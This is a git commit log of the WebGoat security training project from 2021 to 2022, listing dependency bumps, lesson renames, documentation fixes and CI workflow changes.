de3c2c8d85 Bump actions/cache from 3.0.6 to 3.0.8
Bumps [actions/cache](https://github.com/actions/cache) from 3.0.6 to 3.0.8.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.0.6...v3.0.8)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2022-08-27 16:44:51 +02:00
dependabot[bot]
975cbf5769 Bump docker/build-push-action from 3.1.0 to 3.1.1 (#1321)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 3.1.0 to 3.1.1.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v3.1.0...v3.1.1)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-08-08 20:06:48 +02:00
dependabot[bot]
3308f89acc Bump actions/cache from 3.0.5 to 3.0.6 (#1320)
Bumps [actions/cache](https://github.com/actions/cache) from 3.0.5 to 3.0.6.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.0.5...v3.0.6)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-08-06 21:59:58 +02:00
Àngel Ollé Blázquez
50f932b02e Renamed to webwolfintroduction 2022-07-31 22:39:21 +02:00
Àngel Ollé Blázquez
251167c6b0 Renamed to webgoatintroduction 2022-07-31 22:39:21 +02:00
Àngel Ollé Blázquez
256c1dd3aa Renamed to vulnerablecomponents 2022-07-31 22:39:21 +02:00
Àngel Ollé Blázquez
b93c935d6c Renamed to sqlinjection 2022-07-31 22:39:21 +02:00
Àngel Ollé Blázquez
827a9d3467 Renamed to securepasswords 2022-07-31 22:39:21 +02:00
Àngel Ollé Blázquez
91470b93ea Renamed to pathtraversal 2022-07-31 22:39:21 +02:00
Àngel Ollé Blázquez
37d684fdd3 Renamed to passwordreset 2022-07-31 22:39:21 +02:00
Àngel Ollé Blázquez
4f911c64a1 Renamed to missingac 2022-07-31 22:39:21 +02:00
Àngel Ollé Blázquez
e0a0a80ad9 Renamed to lessontemplate 2022-07-31 22:39:21 +02:00
Àngel Ollé Blázquez
26c289d7d4 Renamed to insecurelogin 2022-07-31 22:39:21 +02:00
Àngel Ollé Blázquez
1eff81718b Renamed to httpproxies 2022-07-31 22:39:21 +02:00
Àngel Ollé Blázquez
08ce1add01 Renamed to httpbasics 2022-07-31 22:39:21 +02:00
Àngel Ollé Blázquez
25948306bd Renamed to htmltampering 2022-07-31 22:39:21 +02:00
Àngel Ollé Blázquez
1c86f465dc Renamed to clientsidefiltering 2022-07-31 22:39:21 +02:00
Àngel Ollé Blázquez
3b330fb328 Renamed to chromedevtools 2022-07-31 22:39:21 +02:00
Àngel Ollé Blázquez
8a35316985 Rename to bypassrestrictions 2022-07-31 22:39:21 +02:00
Àngel Ollé Blázquez
c63345e4ee Rename authbypass 2022-07-31 22:39:21 +02:00
René Zubcevic
005b9f03a4 search the menu using input box (#1317)
* working version

* change onchange to oninput with minimum of three chars

* working version with delay and fix for category click
2022-07-31 20:45:09 +02:00
René Zubcevic
4d48bd3d4c fix in style sheet that now shows normal dropdown behaviour (#1315) 2022-07-27 13:44:23 +02:00
René Zubcevic
71afc6b6f3 Workflow fix (#1311)
* conditional step

* conditional step
2022-07-25 09:55:24 +02:00
Àngel Ollé Blázquez
242fdf39a1 Fixes #1233 - Path traversal seems to contain wrong description 2022-07-24 22:09:16 +02:00
Nanne Baars
37163a99a6 Remove unused script 2022-07-24 15:34:43 +02:00
Nanne Baars
126ead2290 Add release notes 2022-07-24 15:34:43 +02:00
Àngel Ollé Blázquez
928bc32f4f Update README.md 2022-07-24 15:34:08 +02:00
René Zubcevic
6b63aaf8b1 Robot framework (#1304)
* added Robot framework UI tests

* added Robot framework UI tests workflow

* Update test.yml

wait in workflow

* remove obsolete selenium java libs and test

* Update test.yml

push result to commit as comment

* Update test.yml

push comment does not seem to work on WebGoat PR

* clean up unrequired robot options

* update readme
2022-07-24 12:28:01 +02:00
Àngel Ollé Blázquez
c4f16ceff6 Update README.md 2022-07-23 21:56:39 +02:00
Nanne Baars
4050d1817c Move to JRE image 2022-07-23 09:39:52 +02:00
Nanne Baars
37186e1d90 Explicity add ports to Java command
This way we don't have to mention it somewhere in the documentation it is all in one command
2022-07-23 09:39:52 +02:00
Nanne Baars
06b7244de7 Move XXE lesson to category A3: Injection 2022-07-23 09:39:52 +02:00
Nanne Baars
260168bb3f Remove automatic selection of a random port 2022-07-23 09:39:52 +02:00
dependabot[bot]
af9ba18040 Bump docker/build-push-action from 3.0.0 to 3.1.0 (#1302)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 3.0.0 to 3.1.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v3.0.0...v3.1.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-07-20 18:50:11 +02:00
René Zubcevic
20dd3ffb95 Lang switch (#1297)
* language selector first steps

* language german intro added

* ascii doc lang attribute as additional option

* removed some commented code

* changed adoc resource loader to take into account the selected language

* added readme

* added lang test cases
2022-07-20 10:52:48 +02:00
Nanne Baars
24fcc8f321 Use starting instead of using. 2022-07-19 21:17:09 +02:00
Nanne Baars
ff965c83be Adjust year 2022-07-19 21:17:09 +02:00
Nanne Baars
2aa3609461 Fix typo 2022-07-19 21:17:09 +02:00
Nanne Baars
fe7774bb6f Update documentation regarding WebWolf
WebWolf no longer runs as a separate application we can simplify the description.
2022-07-19 21:17:09 +02:00
René Zubcevic
9e3eb39069 removed one duplicate label key and made all login and register fields multi language (#1296) 2022-07-16 06:53:39 +02:00
René Zubcevic
7add1ef73e hints tested (#1295) 2022-07-15 12:44:37 +02:00
René Zubcevic
4fc03381a8 Label hint tests (#1293)
* label test

* adjusted it test filter

* label test added
2022-07-15 08:17:11 +02:00
René Zubcevic
16af4272a5 joda time refactored some dep fix (#1292) 2022-07-14 09:11:06 +02:00
dependabot[bot]
b47568ed69 Bump actions/cache from 3.0.4 to 3.0.5 (#1291)
Bumps [actions/cache](https://github.com/actions/cache) from 3.0.4 to 3.0.5.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.0.4...v3.0.5)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-07-14 09:03:51 +02:00
René Zubcevic
f8b7ca5c85 Pom update (#1290)
* asciidoctorj update

* pom and suppression updates
2022-07-11 13:28:44 +02:00
René Zubcevic
e4eb5d783a Some updates and code improvements (#1288)
* try with resources

* StringBuilder

* removed ant and updated spring boot
2022-07-10 17:13:26 +02:00
dependabot[bot]
7dd0dd0923 Bump actions/cache from 3.0.3 to 3.0.4 (#1270)
Bumps [actions/cache](https://github.com/actions/cache) from 3.0.3 to 3.0.4.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.0.3...v3.0.4)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-06-20 15:25:31 +02:00
dependabot[bot]
aeb481e561 Bump actions/cache from 3.0.2 to 3.0.3 (#1260)
Bumps [actions/cache](https://github.com/actions/cache) from 3.0.2 to 3.0.3.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.0.2...v3.0.3)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-06-04 18:06:55 +02:00
dependabot[bot]
8a22c88d61 Bump docker/build-push-action from 2.10.0 to 3.0.0 (#1252)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 2.10.0 to 3.0.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v2.10.0...v3.0.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-05-18 08:36:51 +02:00
dependabot[bot]
724666e10f Bump docker/setup-buildx-action from 1 to 2 (#1253)
Bumps [docker/setup-buildx-action](https://github.com/docker/setup-buildx-action) from 1 to 2.
- [Release notes](https://github.com/docker/setup-buildx-action/releases)
- [Commits](https://github.com/docker/setup-buildx-action/compare/v1...v2)

---
updated-dependencies:
- dependency-name: docker/setup-buildx-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-05-18 08:36:39 +02:00
dependabot[bot]
4953dd63ed Bump docker/setup-qemu-action from 1.1.0 to 2.0.0 (#1254)
Bumps [docker/setup-qemu-action](https://github.com/docker/setup-qemu-action) from 1.1.0 to 2.0.0.
- [Release notes](https://github.com/docker/setup-qemu-action/releases)
- [Commits](https://github.com/docker/setup-qemu-action/compare/v1.1.0...v2.0.0)

---
updated-dependencies:
- dependency-name: docker/setup-qemu-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-05-18 08:36:28 +02:00
dependabot[bot]
a32055995d Bump docker/login-action from 1.14.1 to 2.0.0 (#1255)
Bumps [docker/login-action](https://github.com/docker/login-action) from 1.14.1 to 2.0.0.
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v1.14.1...v2.0.0)

---
updated-dependencies:
- dependency-name: docker/login-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-05-18 08:36:01 +02:00
Àngel Ollé Blázquez
3c0b243797 Added new active developer (#1249)
Fix footer
2022-05-06 07:34:49 +02:00
Àngel Ollé Blázquez
dfa31e0a28 JWT doc code typo fix (#1247) 2022-04-20 08:16:21 +02:00
René Zubcevic
b32240f96b owasp top10-2021 (#1235) 2022-04-11 21:12:41 +02:00
René Zubcevic
02c3f9551f update spring boot (#1242) 2022-04-11 21:12:10 +02:00
dependabot[bot]
bc91ca86e8 Bump actions/cache from 2.1.7 to 3.0.2 (#1239)
Bumps [actions/cache](https://github.com/actions/cache) from 2.1.7 to 3.0.2.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v2.1.7...v3.0.2)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-04-11 18:14:54 +02:00
dependabot[bot]
1dadf20ee0 Bump actions/checkout from 2 to 3 (#1240)
Bumps [actions/checkout](https://github.com/actions/checkout) from 2 to 3.
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/v2...v3)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-04-11 18:14:42 +02:00
dependabot[bot]
4ff41299e3 Bump actions/setup-java from 2 to 3 (#1241)
Bumps [actions/setup-java](https://github.com/actions/setup-java) from 2 to 3.
- [Release notes](https://github.com/actions/setup-java/releases)
- [Commits](https://github.com/actions/setup-java/compare/v2...v3)

---
updated-dependencies:
- dependency-name: actions/setup-java
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-04-11 18:14:28 +02:00
Àngel Ollé Blázquez
a9fa53535d Fix Build Badge and Link (#1238) 2022-04-11 07:45:58 +02:00
Nanne Baars
711649924b Refactoring (#1201)
* Some initial refactoring

* Make it one application

* Got it working

* Fix problem on Windows

* Move WebWolf

* Move first lesson

* Moved all lessons

* Fix pom.xml

* Fix tests

* Add option to initialize a lesson

This way we can create content for each user inside a lesson. The initialize method will be called when a new user is created or when a lesson reset happens

* Clean up pom.xml files

* Remove fetching labels based on language.

We only support English at the moment, all the lesson explanations are written in English which makes it very difficult to translate. If we only had labels it would make sense to support multiple languages

* Fix SonarLint issues

* And move it all to the main project

* Fix for documentation paths

* Fix pom warnings

* Remove PMD as it does not work

* Update release notes about refactoring

Update release notes about refactoring

Update release notes about refactoring

* Fix lesson template

* Update release notes

* Keep it in the same repo in Dockerhub

* Update documentation to show how the connection is obtained.

Resolves: #1180

* Rename all integration tests

* Remove command from Dockerfile

* Simplify GitHub actions

Currently, we use a separate actions for pull-requests and branch build.
This is now consolidated in one action.
The PR action triggers always, it now only trigger when the PR is
opened and not in draft.
Running all platforms on a branch build is a bit too much, it is better
 to only run all platforms when someone opens a PR.

* Remove duplicate entry from release notes

* Add explicit registry for base image

* Lesson scanner not working when fat jar

When running the fat jar we have to take into account we
are reading from the jar file and not the filesystem. In
this case you cannot use `getFile` for example.

* added info in README and fixed release docker

* changed base image and added ignore file

Co-authored-by: Zubcevic.com <rene@zubcevic.com>
2022-04-09 14:56:12 +02:00
neilnaveen
f3d8206a07 Set permissions for GitHub actions (#1228)
- Included permissions for the action. https://github.com/ossf/scorecard/blob/main/docs/checks.md#token-permissions

https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions

https://docs.github.com/en/actions/using-jobs/assigning-permissions-to-jobs

[Keeping your GitHub Actions and workflows secure Part 1: Preventing pwn requests](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)

 Restrict the GitHub token permissions only to the required ones; this way, even if the attackers will succeed in compromising your workflow, they won’t be able to do much.

Signed-off-by: neilnaveen <42328488+neilnaveen@users.noreply.github.com>
2022-04-09 12:54:32 +02:00
dependabot[bot]
56f5b0f0fa Bump actions/cache from 2.1.7 to 3 (#1220)
Bumps [actions/cache](https://github.com/actions/cache) from 2.1.7 to 3.
- [Release notes](https://github.com/actions/cache/releases)
- [Commits](https://github.com/actions/cache/compare/v2.1.7...v3)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-03-26 14:33:06 +01:00
dependabot[bot]
bed2eed8d8 Bump docker/build-push-action from 2.7.0 to 2.10.0 (#1218)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 2.7.0 to 2.10.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v2.7.0...v2.10.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-03-26 14:32:53 +01:00
dependabot[bot]
984548ae88 Bump actions/checkout from 2 to 3 (#1213)
Bumps [actions/checkout](https://github.com/actions/checkout) from 2 to 3.
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/v2...v3)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-03-09 14:52:49 +01:00
dependabot[bot]
32475ea37e Bump docker/login-action from 1.13.0 to 1.14.1 (#1214)
Bumps [docker/login-action](https://github.com/docker/login-action) from 1.13.0 to 1.14.1.
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v1.13.0...v1.14.1)

---
updated-dependencies:
- dependency-name: docker/login-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-03-09 14:52:28 +01:00
dependabot[bot]
2332bf22a7 Bump docker/login-action from 1.12.0 to 1.13.0 (#1209)
Bumps [docker/login-action](https://github.com/docker/login-action) from 1.12.0 to 1.13.0.
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v1.12.0...v1.13.0)

---
updated-dependencies:
- dependency-name: docker/login-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-02-28 07:58:56 +01:00
René Zubcevic
3bc009297e Update SessionManagementTest.java (#1198)
url() is required in this case. You will notice it when changing host name or when using https
2021-12-23 17:07:55 +01:00
Nanne Baars
44ab36aa1b Add message that WebGoat should be running while detecting datasource 2021-12-22 15:57:39 +01:00
Nanne Baars
969335f2f6 Update documentation for starting with java -jar 2021-12-22 15:57:11 +01:00
Nanne Baars
c000a9b467 Improve startup message Docker 2021-12-22 12:55:27 +01:00
dependabot[bot]
c5389f31c3 Bump docker/login-action from 1.9.0 to 1.12.0
Bumps [docker/login-action](https://github.com/docker/login-action) from 1.9.0 to 1.12.0.
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v1.9.0...v1.12.0)

---
updated-dependencies:
- dependency-name: docker/login-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2021-12-21 12:53:41 +01:00
Nanne Baars
85d4633f62 Update enforcer and exclude log4j-core completely (every version) 2021-12-21 10:05:12 +01:00
Nanne Baars
7ded0968c1 Ban log4j all together and update OWASP dep check
Remove
2021-12-20 21:45:44 +01:00
Zubcevic.com
cb6b1d73d1 upgrade to latest spring-boot libs and fixed related issues 2021-12-20 21:45:44 +01:00
Nanne Baars
44f70ce4dc Remove unnecessary compiler section from pom.xml as it confuses Intellij while importing 2021-12-20 16:45:06 +01:00
Nanne Baars
a42f8fcf75 No progress information for Maven 2021-12-20 16:45:06 +01:00
Nanne Baars
ac4b06f11b Move enabling security to WebGoat core and add resetting the lessons.
We can use it for more lessons and showcase how to apply security directly from the source code.

Resolves: #1176
2021-12-20 16:45:06 +01:00
Zubcevic.com
705ec85f35 openshift support 2021-12-19 13:49:38 +01:00
Àngel Ollé Blázquez
1f1fb73f86 Style fix (#1191)
* renamed README

* rename
2021-12-18 18:06:32 +01:00
Nanne Baars
e169650ebc Update documentation 2021-12-15 17:47:12 +01:00
Nanne Baars
2589aa3fa4 Update documentation 2021-12-15 17:46:58 +01:00
Nanne Baars
51c007c545 Update documentation 2021-12-15 17:46:46 +01:00
Nanne Baars
5089c107ba Update documentation 2021-12-15 17:46:35 +01:00
Nanne Baars
69a93f30d2 update documentation 2021-12-15 17:46:24 +01:00
Nanne Baars
80e01d680b add editor config 2021-12-15 17:46:14 +01:00
Nanne Baars
0658fcefcd update documentation 2021-12-15 17:46:03 +01:00
Nanne Baars
d41d21b2e6 Update the documentation 2021-12-15 17:45:52 +01:00
Àngel Ollé Blázquez
939f860ddd renamed spoof-cookie form 2021-12-08 19:37:10 +01:00
Àngel Ollé Blázquez
d047c41e86 Update README.MD 2021-11-27 18:06:45 +01:00
Nanne Baars
8dd66fc0ff Improve Docker start up script
- Make sure the last line contains the information
- Split in separate functions
- Add option to skip starting nginx (by default it is started)
2021-11-23 13:22:19 +01:00
Nanne Baars
d496c929b3 Use variables to check WebWolf host and port
WebWolf can start on a different port, the assignment should take this into account and not check for a hardcoded value.

Resolves: #1055
2021-11-23 13:22:08 +01:00
Nanne Baars
f8dda37027 Rename properties
Rename `webwolf.url.*` to `webwolf.*.url` making it easier to move to a configuration class as no nested property is necessary
2021-11-23 13:22:08 +01:00
dependabot[bot]
48fd7f310e Bump actions/cache from 2.1.5 to 2.1.7
Bumps [actions/cache](https://github.com/actions/cache) from 2.1.5 to 2.1.7.
- [Release notes](https://github.com/actions/cache/releases)
- [Commits](https://github.com/actions/cache/compare/v2.1.5...v2.1.7)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2021-11-23 13:21:52 +01:00
Àngel Ollé Blázquez
5107e111bf test url fix 2021-11-19 13:07:49 +01:00
Àngel Ollé Blázquez
dd2e9f074d Hijack Session Lesson 2021-11-19 13:07:49 +01:00
Nanne Baars
ec954046db Add Discussions badge 2021-11-16 17:53:16 +01:00
Jeroen Willemsen
6be9635f51 Update OWASP badge 2021-11-16 16:43:18 +01:00
Jeroen Willemsen
f7dd69e382 Fix to move to java17 2021-11-16 16:39:53 +01:00
Nanne Baars
fc6b0f28df Add endpoint for the JavaScript to post to
The JavaScript posts to a random endpoint resulting in a HTTP/405 we now post to an existing endpoint.

Resolves: #1142
2021-11-16 16:34:14 +01:00
Nanne Baars
f13632578d Fix layout of assignment and remove duplicate feedback
Resolves: #1143
2021-11-16 16:34:02 +01:00
Nanne Baars
b23b428763 Fix spelling/grammar
Resolves: #1143
2021-11-16 16:34:02 +01:00
Nanne Baars
32a41debad Fix spelling/grammar and reference to ZAP 2.8.0
Resolves: #1141
2021-11-16 16:33:48 +01:00
Nanne Baars
fafddda82a Update ZAP instructions
We reference ZAP 2.8.0 explicitly which is not necessary. Also the way ZAP works changed, we no longer need to change the port as ZAP will report there is a conflict during startup.

Resolves: #1141
2021-11-16 16:33:48 +01:00
Nanne Baars
5bf33db78f Remove obsolete hints 2021-11-16 16:33:36 +01:00
Nanne Baars
20d7015dff Move unit test to JUnit 5 2021-11-16 16:33:36 +01:00
Nanne Baars
2fbc52e6a2 Remove some unused code 2021-11-16 16:33:36 +01:00
Nanne Baars
ab0433bb67 Fix link and typo
The link pointed to the old OWASP website. Also fixed some typos here and there

Resolves: #1136
2021-11-16 16:33:10 +01:00
Nanne Baars
f2f7f36a6d Fix typo in hints
The hints for JWT used `jwt` instead of `JWT` which makes it difficult to solve the lesson as the hint actually points someone in the wrong direction.

Resolves: #123
2021-11-16 16:32:57 +01:00
Nanne Baars
3ad51e6d6b Rewrite lesson to be self-contained and not depend on the core of WebGoat for fetching users
Split the assignment into 2 assignments
2021-11-16 16:32:43 +01:00
Nanne Baars
9e6ed11aa7 Remove link to lesson.css as they belong to the lesson 2021-11-16 16:32:43 +01:00
Nanne Baars
2bd6b36210 Fix layout assignment 2 2021-11-16 16:32:43 +01:00
Nanne Baars
bcaf4485c2 Move css to lesson itself 2021-11-16 16:32:43 +01:00
Nanne Baars
cd2e1c1c09 Fix spelling issues 2021-11-16 16:32:43 +01:00
Nanne Baars
22af35a9a7 Add favicon to WebGoat/WebWolf 2021-11-16 16:32:29 +01:00
Nanne Baars
c7e04cef97 Add logging to pom.xml 2021-11-16 16:24:45 +01:00
Jeroen Willemsen
fa2769cb25 Updating poms 2021-11-16 16:24:45 +01:00
Jeroen Willemsen
1a64fcd8d4 Recommit logging lesson as PR got a lot of conflicts 2021-11-16 16:24:45 +01:00
Nanne Baars
36bdd9b1a0 Rename master to main 2021-10-30 22:50:47 +02:00
Nanne Baars
6a875bdaa6 Add new developer 2021-10-28 21:21:34 +02:00
Nanne Baars
6a92f651f8 Move to Java 17 2021-10-28 21:19:05 +02:00
Nanne Baars
ad97e2c9a3 Remove activation dependency 2021-10-28 21:19:05 +02:00
Nanne Baars
e709a501cb Remove develop from branches to build
The PR already works on a merge commit with develop no need to build it once more afterwards
2021-10-24 13:12:48 +02:00
Nanne Baars
76af488d16 Move Github actions to same image as Docker run on 2021-10-24 13:08:52 +02:00
Nanne Baars
981fcb3ebc Move to different base image for Java
This way we can also support arm/v7
2021-10-24 13:08:40 +02:00
Nanne Baars
cc0d0fa2a6 Ignore branch builds on main repository 2021-10-24 11:51:47 +02:00
Nanne Baars
a4104fdf8b Ignore branch builds on our repository 2021-10-24 11:43:03 +02:00
Nanne Baars
720414eba6 Ignore branch builds on our repository 2021-10-24 11:40:13 +02:00
Nanne Baars
541c424eb9 Ignore branch builds on our repository 2021-10-24 11:36:35 +02:00
Nanne Baars
be2a6aa0bd Run only on branches 2021-10-24 11:25:15 +02:00
Nanne Baars
e5ab24a1fc Revert all GH actions work 2021-10-24 10:22:30 +02:00
Nanne Baars
b0174a6b26 Revert all GH actions work 2021-10-24 10:20:27 +02:00
Nanne Baars
cb8739ac06 Simplify Github actions 2021-10-24 10:16:52 +02:00
Nanne Baars
cb6c8af3bb Simplify Github actions 2021-10-24 10:03:47 +02:00
Nanne Baars
672d752e0e Simplify Github actions 2021-10-24 10:02:36 +02:00
Nanne Baars
8241d98a38 Simplify Github actions 2021-10-24 10:01:53 +02:00
Nanne Baars
86d3868d9e Simplify Github actions 2021-10-24 10:00:30 +02:00
Nanne Baars
2f007babec Simplify Github actions 2021-10-24 09:59:35 +02:00
Nanne Baars
7742444a99 Simplify Github actions 2021-10-24 09:58:28 +02:00
Nanne Baars
98bcef9a5e Simplify Github actions 2021-10-24 09:44:57 +02:00
Nanne Baars
c3f9772a27 Simplify Github actions 2021-10-24 09:39:37 +02:00
Nanne Baars
01d3453c41 Simplify Github actions
Consolidate build steps to 1 script this way we don't run multiple builds for pushing a branch and create a PR.
2021-10-24 09:30:00 +02:00
Nanne Baars
eb163c8df1 Remove unused badges 2021-10-16 19:38:04 +02:00
Nanne Baars
ff67ee6484 Update to correct version 2021-10-04 14:40:19 +02:00
Jeroen Willemsen
ccdede647b Sign off
Signed-off-by: Jeroen Willemsen <jwillemsen@xebia.com>
2021-10-03 11:36:40 +02:00
Nanne Baars
4b32cc36a7 Remove sign off.
CLA assistant is structurally broken, let's keep it simple and not enforce signing off etc. There should be no barrier to get help from the community.
2021-10-03 11:35:50 +02:00
Nanne Baars
9e15e95001 Remove signoff action as it will not work with forked repositories 2021-10-02 17:49:42 +02:00
Nanne Baars
dc71975f27 No need to do mvn clean 2021-10-02 17:49:42 +02:00
Nanne Baars
b79a9c6b2c Build should use Java 16 2021-10-02 17:49:42 +02:00
Nanne Baars
a7b9954d0f 1101: fix quoting in statement 2021-10-02 17:39:26 +02:00
Àngel Ollé Blázquez
dfa0e1cdca XSS Lesson one boolean response
Signed-off-by: Àngel Ollé Blázquez <angel@olleb.com>
2021-10-02 01:09:52 +02:00
Nanne Baars
8e6d87d429 Remove unnecessary action 2021-09-30 18:53:27 +02:00
Nanne Baars
5adf1d1dd7 Renaming the actions 2021-09-30 17:11:08 +02:00
Nanne Baars
5164514789 Remove Slack integration from build as it needs a token and will never work when PR is received from a fork. 2021-09-30 17:09:21 +02:00
Nanne Baars
f28bb09724 Remove action 2021-09-30 16:54:52 +02:00
dependabot[bot]
7602781a5b Bump actions/github-script from 0.3.0 to 5
Bumps [actions/github-script](https://github.com/actions/github-script) from 0.3.0 to 5.
- [Release notes](https://github.com/actions/github-script/releases)
- [Commits](https://github.com/actions/github-script/compare/0.3.0...v5)

---
updated-dependencies:
- dependency-name: actions/github-script
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2021-09-30 11:46:52 +02:00
Àngel Ollé Blázquez
b6dff3f32b Update JDK references 2021-09-30 11:45:58 +02:00
Àngel Ollé Blázquez
360cdc7239 Fix broken link 2021-09-30 11:44:34 +02:00
Nanne Baars
74ca2ff12a Add signed commits to pull request template 2021-09-29 20:03:09 +02:00
Nanne Baars
fbf18440fb Revert "Use CLA again and add action to recheck it"
This reverts commit b7a1edd0
2021-09-29 20:02:42 +02:00
Nanne Baars
b7a1edd04a Use CLA again and add action to recheck it 2021-09-29 19:56:22 +02:00
Nanne Baars
14bb53d43a Add action to warn against PR against master (should be develop) 2021-09-29 19:00:29 +02:00
Nanne Baars
906ab766df Add action to warn against PR against master (should be develop) 2021-09-29 18:57:29 +02:00
Nanne Baars
902af04dd4 Add action to warn against PR against master (should be develop) 2021-09-29 18:45:00 +02:00
Nanne Baars
05bef55c80 Add action to warn against PR against master (should be develop) 2021-09-29 18:42:25 +02:00
